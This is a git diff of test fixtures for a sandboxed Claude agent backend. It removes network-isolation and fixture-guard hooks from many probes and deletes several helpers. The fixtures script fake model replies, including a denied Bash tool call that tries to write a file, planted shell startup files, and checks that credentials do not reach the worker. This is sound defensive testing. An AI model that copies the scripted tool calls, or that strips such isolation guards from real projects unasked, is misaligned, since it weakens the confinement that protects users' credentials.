-nativeScriptedService(server.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "offline-odysseus"} }); const restore = replaceNativeStartupAcquisitionForFixture(); try { const brain = fixtureBrain(scratch, "attachment"); diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts index f7b6072bd5..6e475d1732 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts @@ -1,6 +1,4 @@ -import "../../../../scripts/test-network-child-preload.ts"; -import { watchdogMs } from "../../../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines.js"; /** The caller confines the SDK, bundled CLI and every tool to loopback. */ import { mkdirSync, writeFileSync } from "node:fs"; import { join } from "node:path"; @@ -64,7 +62,6 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: tool ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "offline-odysseus"} }); const restore = replaceNativeStartupAcquisitionForFixture(); try { for (scenario of ["control", "repository", "facts", "posture", "promotion", "title", "reference", "renewal", "freshness", "immutable", "datatree", "compute", "safety"]) { diff --git a/packages/ui-backend-claude/tests/fixtures/provider-request-shape-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-request-shape-probe.ts index 81a1140e0d..1790e3150c 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-request-shape-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-request-shape-probe.ts @@ -1,4 +1,3 @@ -import {nativeScriptedService,nativeFixtureManagedSettings} from "../../../../scripts/test-native-guard.ts"; /** * Production SDK assembly and hooks through the pinned runtime and Unix relay. * captureOffline isolates networking. This probe launches the runtime directly: @@ -51,8 +50,6 @@ const model = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { { type: "content_block_stop", index: 0 }, { type: "message_delta", delta: { stop_reason: step ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 1 } }, { type: "message_stop" }]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -const closeFixtureAuthority=nativeScriptedService(model.url.origin,{fixtureRoots:[scratch],fixtureCredentials:{ANTHROPIC_API_KEY:"offline-odysseus"}}); -const closeManagedSettings=process.env.REQUEST_SHAPE_MANAGED_GATEWAY?nativeFixtureManagedSettings(scratch):undefined; const relay = startInferenceRelay({ upstream: model.url.origin, routes: ["/v1/messages"], credentials: { "x-api-key": "offline-odysseus" } }); linkSync(relay.socketPath, join(relay.dir, "inference.sock")); const proxy = Bun.serve({ unix: join(relay.dir, "proxy.sock"), fetch() { return new Response("Unused fixture proxy", { status: 403 }); } }); @@ -212,4 +209,4 @@ try { } } writeFileSync(join(scratch, "requests.json"), JSON.stringify(captures)); -} finally { restore(); proxy.stop(true); relay.stop(); closeManagedSettings?.();closeFixtureAuthority(); model.stop(true); } +} finally { restore(); proxy.stop(true); relay.stop(); model.stop(true); } diff --git a/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts b/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts index 45c6d2ddfb..0e79c5ca20 100644 --- a/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts @@ -1,6 +1,4 @@ import { watchdogMs } from "../../../../scripts/test-deadlines.ts"; -import "../../../../scripts/test-network-child-preload.ts"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** * The connections the selected native runtime opens on a relayed turn (#3244). * The caller denies all external network and binds a scratch directory at the @@ -25,7 +23,6 @@ const recorder = createServer((request, response) => { connections.push(`${reque recorder.on("connect", (request, socket) => { connections.push(`CONNECT ${request.url}`); socket.end("HTTP/1.1 403 Forbidden\r\n\r\n"); }); await new Promise(resolve => recorder.listen(0, "127.0.0.1", resolve)); const proxyUrl = `http://127.0.0.1:${(recorder.address() as { port: number }).port}`; -nativeScriptedService(proxyUrl, { fixtureRoots: [scratch],turnProxy:true }); let called = false; const relay = Bun.serve({ unix: join(WORKER_EGRESS_DIR, "inference.sock"), async fetch(request) { const body = await request.text(); diff --git a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts index b13750db2e..7fc31508c4 100644 --- a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts @@ -1,7 +1,4 @@ import { watchdogMs } from "../../../../scripts/test-deadlines.ts"; -import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; -import "../../../../scripts/test-network-child-preload.ts"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { SDK_RELAY_TURN_COUNT, SDK_RELAY_TURN_TIMEOUT_MS, SDK_RELAY_CANCELLATION_TIMEOUT_MS } from "./sdk-host-relay-limits.js"; /** Actual ordinary Claude spawn/state path; copied storage fixture, not Btrfs qualification. */ import { query, type AccountInfo } from "@anthropic-ai/claude-agent-sdk"; @@ -15,8 +12,9 @@ import { settingsRefusal, subscriptionVerdict, type CliSettingsReport } from ".. import { processStateLedger } from "../../src/worker-state-budget.js"; import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import type { LaunchedWorker, WorkerSandbox } from "@schlessera/brain-ui-sdk/internal"; -import { existsSync, mkdirSync, readFileSync, readdirSync, readlinkSync, rmSync, writeFileSync, linkSync, chmodSync } from "node:fs"; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, readlinkSync, rmSync, writeFileSync, linkSync, chmodSync } from "node:fs"; import { dirname, join } from "node:path"; +import { tmpdir } from "node:os"; import { createRequire } from "node:module"; const separateIdentity = process.argv[4] === "separate-uid"; @@ -31,7 +29,7 @@ const permissionProof = process.argv[3] === "permission"; const settingsProof = process.argv[3] === "managed" || process.argv[3] === "project"; let withheldForSettings = false; let permissionRequests = 0; -const root = nativeFixtureDirectory("odysseus-native-host-relay-"); +const root = mkdtempSync(join(tmpdir(), "odysseus-native-host-relay-")); const host = join(root, "host"), worker = join(root, "worker"), brain = join(worker, "brain"), directory = join(root, "lock"); for (const path of [host, worker, brain, directory]) mkdirSync(path, { mode: 0o700 }); if (separateIdentity) { @@ -48,12 +46,9 @@ function save(token: string, expiresAt = Date.now() + 3_600_000) { } }), { mode: 0o600 }); } save(access[0]!); -let managedSettingsFile:string|undefined; if (process.argv[3] === "managed") { mkdirSync("/etc/claude-code", { recursive: true }); - const json=JSON.stringify({ env: { ANTHROPIC_UNIX_SOCKET: "/run/odysseus-unapproved.sock" } }); - managedSettingsFile="/etc/claude-code/managed-settings.json"; - writeFileSync("/etc/claude-code/managed-settings.json",json); + writeFileSync("/etc/claude-code/managed-settings.json", JSON.stringify({ env: { ANTHROPIC_UNIX_SOCKET: "/run/odysseus-unapproved.sock" } })); } if (process.argv[3] === "project") { mkdirSync(join(brain, ".claude")); @@ -119,7 +114,6 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request name: "Bash", id: "tool_ithaca_denied", input: { command: `printf odysseus > ${join(brain, "should-not-exist")}` }, } : undefined); } }); -nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, worker, directory,...(managedSettingsFile?["/etc/claude-code"]:[])],fixtureFiles:[...(managedSettingsFile?[managedSettingsFile]:[])] }); const originalFetch = globalThis.fetch; // Only the host's lowest fetch method is replaced. The native CLI makes real // HTTP requests over the real Unix socket. Both upstream exchanges reach a diff --git a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts index 6605f624b6..6b2dd55105 100644 --- a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts @@ -1,12 +1,6 @@ -import {observeNativeProofStages} from "../../../../tests/helpers/native-managed-proof"; -import { recordNativeRelayTurn } from "../helpers/native-relay-turn-diagnostic.js"; import { watchdogMs } from "../../../../scripts/test-deadlines.ts"; -import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; -import "../../../../scripts/test-network-child-preload.ts"; -import { workerPlanMasksHostLogin } from "../helpers/native-host-login-mask.js"; -import { isNativeClaude, nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real turn runner and an explicitly prepared transport; no live provider calls. */ -import { existsSync, mkdirSync, readFileSync, readdirSync, readlinkSync, renameSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, readlinkSync, renameSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { expect } from "bun:test"; import { query } from "@anthropic-ai/claude-agent-sdk"; @@ -19,7 +13,7 @@ import { createNativeBrainManagerClient } from "../../../ui-sdk/src/server/nativ import { Database } from "bun:sqlite"; -const root = nativeFixtureDirectory("odysseus-server-inference-"); +const root = mkdtempSync(join(tmpdir(), "odysseus-server-inference-")); const managed = process.argv.includes("--managed"); const brainPath = managed ? "/brain-fixture/brain" : join(root, "brain"); // outside-masks: the host's Claude config sits where no host mask hides it (the caller mounts /opt). @@ -67,12 +61,9 @@ if (mode === "server-custom-project-same" || mode === "server-custom-project-oth mode === "server-custom-project-same" ? "https://GATEWAY.ithaca.invalid:443/anthropic/" : "https://gateway.ithaca.invalid/other-tenant" } })); } if (mode === "server-custom-other-port") process.env.BRAIN_UI_CLAUDE_OAUTH_ORIGINS = "https://gateway.ithaca.invalid:8443"; -let managedSettingsFile:string|undefined; if (mode === "managed-custom") { mkdirSync("/etc/claude-code"); - const json=JSON.stringify({ env: { ANTHROPIC_BASE_URL: "https://ithaca.invalid" } }); - managedSettingsFile="/etc/claude-code/managed-settings.json"; - writeFileSync("/etc/claude-code/managed-settings.json",json); + writeFileSync("/etc/claude-code/managed-settings.json", JSON.stringify({ env: { ANTHROPIC_BASE_URL: "https://ithaca.invalid" } })); } if (mode === "api-key-project-credential") { mkdirSync(join(brainPath, ".claude")); @@ -89,13 +80,7 @@ const nativeEnvironments: string[] = []; let liveWorker: { pid: number; state?: { root: string } } | undefined; let stateFiles = ""; /** Whether a process in the worker's own mount namespace could open the host login file. */ -let hostLoginVisible: boolean | null = null, controlVisible = false, productionLoginMaskPresent=false; -const originalSpawn=Bun.spawn; -if(mode==="outside-masks")Bun.spawn=((...args:any[])=>{ - const encoded=args[1]?.env?.BRAIN_WORKER_LAUNCH; - if(encoded){const launch=JSON.parse(encoded);if(Array.isArray(launch.command)&&isNativeClaude(launch.command[0],launch.command.slice(1),{cwd:launch.brainPath,env:launch.env}))productionLoginMaskPresent=workerPlanMasksHostLogin(launch.argv,join(config,".credentials.json"));} - return Reflect.apply(originalSpawn,Bun,args); -}) as typeof Bun.spawn; +let hostLoginVisible: boolean | null = null, controlVisible = false; function workerViewOfHostLogin(): void { const pending = [liveWorker?.pid ?? 0]; hostLoginVisible ??= false; @@ -139,7 +124,6 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ credential: tokens.indexOf(request.headers.get("authorization")?.replace("Bearer ", "") ?? ""), model: body.model, history: body.messages.length }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin, { fixtureCredentials:{ANTHROPIC_API_KEY:apiSecret,ANTHROPIC_AUTH_TOKEN:apiSecret}, fixtureRoots: [brainPath, home,...(managedSettingsFile?["/etc/claude-code"]:[])],fixtureFiles:[...(managedSettingsFile?[managedSettingsFile]:[]),...(mode === "outside-masks"?[join(config,"visible.json")]:[])] }); const nativeFetch = globalThis.fetch; globalThis.fetch = (async (input, init) => { const target = new URL(typeof input === "string" || input instanceof URL ? String(input) : input.url); @@ -158,14 +142,12 @@ let model = "claude-haiku-4-5"; let activeView: Awaited> | undefined; let releaseFailures = 0; const cleanupFailures: string[] = []; -const closeFixtureStages=managed?observeNativeProofStages():undefined; const actualManager = managed ? createNativeBrainManagerClient({ socketPath: mode === "cleanup-failure" ? "/native-runtime/prepared-consumer-cleanup-manager.sock" : "/native-runtime/prepared-consumer-manager.sock" }) : undefined; -const releaseActual=actualManager?.release.bind(actualManager); -const manager = actualManager ? Object.assign(actualManager,{ async release(...args: Parameters) { - const result = await releaseActual!(...args); +const manager = actualManager ? { ...actualManager, async release(...args: Parameters) { + const result = await actualManager.release(...args); if (mode === "cleanup-failure" && releaseFailures++ === 0) throw Error("ODYSSEUS_NATIVE_RELEASE_REPLY_UNAVAILABLE"); return result; -} }) : undefined; +} } : undefined; const runner = createClaudeTurnRunner({ backend: { brainPath, queryFn: input => { const native = query(input); if (mode === "project-aba" || mode === "managed-aba" || mode === "cleanup-failure") { @@ -194,7 +176,6 @@ try { for (let turn = 0; turn < (mode === "three" ? 3 : mode === "cleanup-failure" ? 2 : 1); turn++) { if (turn === 1) { save(1); model = "claude-sonnet-4-6"; } if (turn === 2) { save(1, true); model = "claude-haiku-4-5"; } - const turnStarted=performance.now(),requestStart=requests.length,refreshStart=refreshes,frameStart=frames.length; const controller = new AbortController(), timer = setTimeout(() => controller.abort(), watchdogMs(20000)); const turnId = `turn-ithaca-${turn}`; const tracked = new Set(); @@ -237,11 +218,6 @@ try { cleanupFailures.push(String(error)); expect(String(error), "ACTUAL_NATIVE_RELEASE_FAILURE_PROPAGATED").toContain("Claude turn cleanup did not complete"); } finally { - const terminal=frames.slice(frameStart).reverse().find(frame=>frame.type==="result"||frame.type==="error"); - recordNativeRelayTurn({elapsedMs:performance.now()-turnStarted,aborted:controller.signal.aborted, - requestDelta:requests.length-requestStart,refreshDelta:refreshes-refreshStart, - outcome:terminal?.type==="result"?terminal.outcome:undefined, - errorClass:terminal?.type==="result"?terminal.failure?.errorClass:terminal?.type==="error"?terminal.failure?.errorClass:undefined}); if (mode === "cleanup-failure") { expect(existsSync(join(proxy.dir, "inference.sock")), "NATIVE_RELEASE_FAILURE_RELAY_LINK_REMOVED").toBe(false); expect(readdirSync(tmpdir()).filter(name => name.startsWith("brain-inference-")), "NATIVE_RELEASE_FAILURE_RELAY_DIRECTORY_REMOVED").toEqual(relayDirectories); @@ -251,7 +227,7 @@ try { } } const observed = JSON.stringify({ nativeEnvironments, stateFiles }); - console.log(JSON.stringify({ requests, refreshes, apiRequests, nativeEnvironmentCount: nativeEnvironments.length, hostLoginVisible, controlVisible, productionLoginMaskPresent, + console.log(JSON.stringify({ requests, refreshes, apiRequests, nativeEnvironmentCount: nativeEnvironments.length, hostLoginVisible, controlVisible, secretInWorker: [apiSecret, hostLogin, ambientBearer, ambientRouter, cliGemini, cliTypesafe].some(secret => observed.includes(secret)), withheldKeys: nativeEnvironments.map(value => /(?:^|\0)BRAIN_WITHHELD_KEYS=([^\0]*)/.exec(value)?.[1] ?? null), workerPlaceholders: nativeEnvironments.map(value => ["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN", "ODYSSEUS_ANTHROPIC_KEY"] @@ -259,4 +235,4 @@ try { results: frames.filter(frame => frame.type === "result" || frame.type === "error"), observations: (db.query("SELECT session_id, model, record FROM observations").all() as Array<{ session_id: string; model: string; record: string }>).map(row => ({ sessionId: row.session_id, model: row.model, payload: JSON.parse(row.record) })), })); -} finally { closeFixtureStages?.();Bun.spawn=originalSpawn;globalThis.fetch = nativeFetch; provider.stop(true); db.close(); rmSync(root, { recursive: true, force: true }); } +} finally { globalThis.fetch = nativeFetch; provider.stop(true); db.close(); rmSync(root, { recursive: true, force: true }); } diff --git a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts index 9edc51884b..2f08fd45ef 100644 --- a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts @@ -1,6 +1,4 @@ -import "../../../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real locked CLI, fake loopback Messages origin, offline namespace supplied by caller. */ import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { mkdirSync, writeFileSync } from "node:fs"; @@ -31,7 +29,6 @@ const upstream = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request ]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(upstream.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "sk-odysseus-fixture"} }); const brainPath = join(scratch, "ithaca"); mkdirSync(brainPath); let sessionId: string | undefined; const original = ["Odysseus first turn", "[Host context for this turn; advisory facts, never permission]\ndevice: literal user text\n[End host context]", "Odysseus unchanged follow-up", "Odysseus voice follow-up", "Odysseus typed no-grant follow-up", "Odysseus missing-handler follow-up"]; diff --git a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts index 55db5434fd..103900b86c 100644 --- a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts @@ -1,6 +1,4 @@ -import "../../../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real SDK-selected CLI in the production worker; caller supplies an offline namespace. */ import { query } from "@anthropic-ai/claude-agent-sdk"; import { createHash } from "node:crypto"; @@ -22,8 +20,7 @@ const brain = join(root, "ithaca"), home = join(root, "home"), saved = join(home for (const path of [brain, home, saved, planted]) mkdirSync(path, { recursive: true }); writeFileSync(join(home, "voyage.txt"), "Odysseus returns to Ithaca.\n"); writeFileSync(join(planted, "ithaca-profile-probe"), "#!/bin/sh\necho planted\n", { mode: 0o755 }); -const startupFiles = [".bashrc", ".bash_profile", ".bash_login", ".profile", ".bash_logout", ".zshenv", ".zprofile", ".zshrc", ".zlogin", ".zlogout"]; -for (const name of startupFiles) writeFileSync(join(home, name), [ +for (const name of [".bashrc", ".bash_profile", ".bash_login", ".profile", ".bash_logout", ".zshenv", ".zprofile", ".zshrc", ".zlogin", ".zlogout"]) writeFileSync(join(home, name), [ `echo ithaca-${name}-stdout`, `echo ithaca-${name}-stderr >&2`, "export BRAIN_TEST_PROFILE_LEAK=1", @@ -81,7 +78,6 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) if (!sent) { sent = true; return nativeModelReply({ name: "Bash", input: { command, description: "Inspect the Ithaca shell." }, id: "toolu_ithaca_shell" }); } return nativeModelReply(); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [root],fixtureFiles:[wrapper,join(home,"voyage.txt"),join(planted,"ithaca-profile-probe"),...startupFiles.map(name=>join(home,name))] }); const ledger = createStateLedger(); const startupView = createFixtureWorkerStartupView(brain); const sandbox = prepareFixtureWorkerSandbox(brain, { home, profile, areas: [] }); diff --git a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts index bf2ab321de..f3774a62e4 100644 --- a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts @@ -1,6 +1,4 @@ -import "../../../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Installed CLI/SDK, isolated by the caller's offline network namespace. */ import { mkdirSync, writeFileSync, readFileSync } from "node:fs"; import { join } from "node:path"; @@ -58,7 +56,6 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) return response(selected.map((name, index) => ({ type: "tool_use", id: `toolu_raft_${captures.length}_${index}`, name: /^[A-Z]/.test(name) || name.startsWith("mcp__") ? name : `mcp__brain-ui__${name}`, input: inputs[name] ?? missingInputs[name] ?? {} }))); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "offline-odysseus"} }); function response(calls: unknown[]) { const content: any[] = calls.length ? calls : [{ type: "text", text: "Odysseus checks the mast." }]; const events: any[] = [{ type: "message_start", message: { id: "msg_raft", type: "message", role: "assistant", model: "claude-sonnet-4-6", content: [], stop_reason: null, stop_sequence: null, usage: { input_tokens: 1, output_tokens: 0 } } }]; diff --git a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts index 57f7dcecb1..b14cec3762 100644 --- a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts @@ -1,6 +1,4 @@ -import "../../../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Narrow #2049 proof; follows the offline CLI pattern from #2053/#2047. */ import { cpSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; import { join, resolve } from "node:path"; @@ -45,7 +43,6 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) events.push({ type: "message_delta", delta: { stop_reason: index < 2 ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "offline-odysseus"} }); let sessionId: string | undefined; try { for (let turnIndex = 0; turnIndex < 2; turnIndex++) { diff --git a/packages/ui-backend-claude/tests/follow-up-delivery.test.ts b/packages/ui-backend-claude/tests/follow-up-delivery.test.ts index 158918cb7a..b65aa64031 100644 --- a/packages/ui-backend-claude/tests/follow-up-delivery.test.ts +++ b/packages/ui-backend-claude/tests/follow-up-delivery.test.ts @@ -1,7 +1,5 @@ import { watchdogMs } from "../../../scripts/test-deadlines"; -import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; -import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; -import { createFixtureWorkerStartupView, prepareFixtureWorkerSandbox } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; +import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { mockWorkerHostForSdkStream } from "./helpers/worker-host.js"; /** * A message sent while a Claude turn runs reaches the model inside that turn @@ -21,7 +19,8 @@ import { mockWorkerHostForSdkStream } from "./helpers/worker-host.js"; */ import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test"; -import { mkdirSync, rmSync } from "node:fs"; +import { mkdirSync, mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; import { join } from "node:path"; import { query, type SDKMessage, type SDKUserMessage } from "@anthropic-ai/claude-agent-sdk"; import type { @@ -172,13 +171,12 @@ afterEach(() => { }); function tempDir(prefix: string): string { - const dir = nativeFixtureDirectory(prefix); + const dir = mkdtempSync(join(tmpdir(), prefix)); scratch.push(dir); return dir; } function arrange(): string { - nativeScriptedService(server.url.origin); const home = tempDir("follow-home-"); mkdirSync(join(home, ".claude"), { recursive: true }); const brainPath = tempDir("follow-brain-"); @@ -285,7 +283,7 @@ async function runScenario(scenario: Scenario): Promise { }; const workerStartupView = createFixtureWorkerStartupView(brainPath); - const turn = backend.startTurn({ workerStartupView, workerSandbox: prepareFixtureWorkerSandbox(brainPath, { home: process.env.HOME, areas: [] }), prompt: "Plan the voyage home.", signal: new AbortController().signal, bridge }); + const turn = backend.startTurn({ workerStartupView, prompt: "Plan the voyage home.", signal: new AbortController().signal, bridge }); if (scenario.sendDuring === "tool") { await cardOpened; await sendFollowUp(); diff --git a/packages/ui-backend-claude/tests/helpers/native-host-login-mask.ts b/packages/ui-backend-claude/tests/helpers/native-host-login-mask.ts deleted file mode 100644 index 64bd879fee..0000000000 --- a/packages/ui-backend-claude/tests/helpers/native-host-login-mask.ts +++ /dev/null @@ -1,8 +0,0 @@ -/** Inspect the product's original argv, before the test guard changes its view. */ -export function workerPlanMasksHostLogin(argv:readonly string[],path:string):boolean { - let payload=argv; - if(argv.length===6&&argv[1]==="-I"&&argv[2]==="-S"&&argv[3]==="-c"){ - try{const config=JSON.parse(argv[5]!);if(!Array.isArray(config.argv))return false;payload=config.argv;}catch{return false;} - } - return payload.some((arg,index)=>arg==="--ro-bind"&&payload[index+1]==="/dev/null"&&payload[index+2]===path); -} diff --git a/packages/ui-backend-claude/tests/helpers/native-process-observation.ts b/packages/ui-backend-claude/tests/helpers/native-process-observation.ts deleted file mode 100644 index 9181e057f7..0000000000 --- a/packages/ui-backend-claude/tests/helpers/native-process-observation.ts +++ /dev/null @@ -1,12 +0,0 @@ -/** Observe the selected payload below an isolation/tracing wrapper, never its launcher PID. */ -import { readFileSync, readlinkSync } from "node:fs"; -export function selectedNativePid(root: number, expectedExecutable: string): number { - const pending = [root], seen = new Set(); - for (let count = 0; pending.length && count < 100; count++) { - const pid = pending.shift()!; - if (seen.has(pid)) continue; seen.add(pid); - try { if (readlinkSync(`/proc/${pid}/exe`) === expectedExecutable) return pid; } catch { /* Exited wrappers cannot qualify. */ } - try { pending.push(...readFileSync(`/proc/${pid}/task/${pid}/children`, "utf8").trim().split(/\s+/).filter(Boolean).map(Number)); } catch { /* Exited processes have no observable children. */ } - } - throw new Error("The guarded process tree did not contain the selected native executable."); -} diff --git a/packages/ui-backend-claude/tests/helpers/native-relay-turn-diagnostic.ts b/packages/ui-backend-claude/tests/helpers/native-relay-turn-diagnostic.ts deleted file mode 100644 index c0d09bb302..0000000000 --- a/packages/ui-backend-claude/tests/helpers/native-relay-turn-diagnostic.ts +++ /dev/null @@ -1,13 +0,0 @@ -/** Fixture-only numeric progress; no messages, credentials or provider addresses. */ -import { nativeReceipt } from "../../../../scripts/native-test-receipts"; -import { nativeTestHead } from "../../../../scripts/test-native-guard"; -const outcomes=new Set(["success","error","cancelled"]); -const classes=new Set(["unknown","auth_failure","authentication_failed","subscription_required","rate_limit","overloaded","server_error","timeout","invalid_request","process_exited_nonzero","worker_host_unsupported"]); -const count=(value:number)=>Number.isFinite(value)?Math.max(0,Math.min(Number.MAX_SAFE_INTEGER,Math.round(value))):0; -export function recordNativeRelayTurn(input:{elapsedMs:number;aborted:boolean;requestDelta:number;refreshDelta:number;outcome?:unknown;errorClass?:unknown}):void { - try { nativeReceipt({kind:"native-fixture-relay-turn",head:nativeTestHead(),elapsedMs:count(input.elapsedMs),aborted:input.aborted===true, - requestDelta:count(input.requestDelta),refreshDelta:count(input.refreshDelta), - outcome:typeof input.outcome==="string"&&outcomes.has(input.outcome)?input.outcome:null, - errorClass:typeof input.errorClass==="string"?(classes.has(input.errorClass)?input.errorClass:"unknown"):null}); - }catch{/* Diagnostics cannot prevent fixture cleanup or replace its failure. */} -} diff --git a/packages/ui-backend-claude/tests/helpers/subscription-helper-witness.ts b/packages/ui-backend-claude/tests/helpers/subscription-helper-witness.ts deleted file mode 100644 index 7fef447b05..0000000000 --- a/packages/ui-backend-claude/tests/helpers/subscription-helper-witness.ts +++ /dev/null @@ -1,10 +0,0 @@ -/** A separately asserted dotfile witness inside the already projected brain. */ -import { mkdirSync,writeFileSync } from "node:fs"; -import { join } from "node:path"; -export function installSubscriptionHelperWitness(brainPath:string,key:string,delayed=false):string { - const marker=join(brainPath,".odysseus-helper-ran"); - mkdirSync(join(brainPath,".claude"),{recursive:true}); - const quote=(value:string)=>"'"+value.replaceAll("'","'\\''")+"'"; - writeFileSync(join(brainPath,".claude/settings.json"),JSON.stringify({apiKeyHelper:`touch ${quote(marker)}; ${delayed?"sleep 2; ":""}echo ${quote(key)}`})); - return marker; -} diff --git a/packages/ui-backend-claude/tests/host-oauth.test.ts b/packages/ui-backend-claude/tests/host-oauth.test.ts index a2c1764b1a..85e1131f70 100644 --- a/packages/ui-backend-claude/tests/host-oauth.test.ts +++ b/packages/ui-backend-claude/tests/host-oauth.test.ts @@ -1,8 +1,7 @@ -import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; -import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; import { afterEach, expect, spyOn, test } from "bun:test"; import * as fs from "node:fs"; -import { chmodSync, existsSync, linkSync, readFileSync, readdirSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { chmodSync, existsSync, linkSync, mkdtempSync, readFileSync, readdirSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; import { join } from "node:path"; import { createHash } from "node:crypto"; import * as crypto from "node:crypto"; @@ -21,16 +20,14 @@ const refresh = "odysseus-fictional-refresh"; const fresh = () => ({ accessToken: secret, refreshToken: refresh, expiresAt: Date.now() + 3_600_000, scopes: 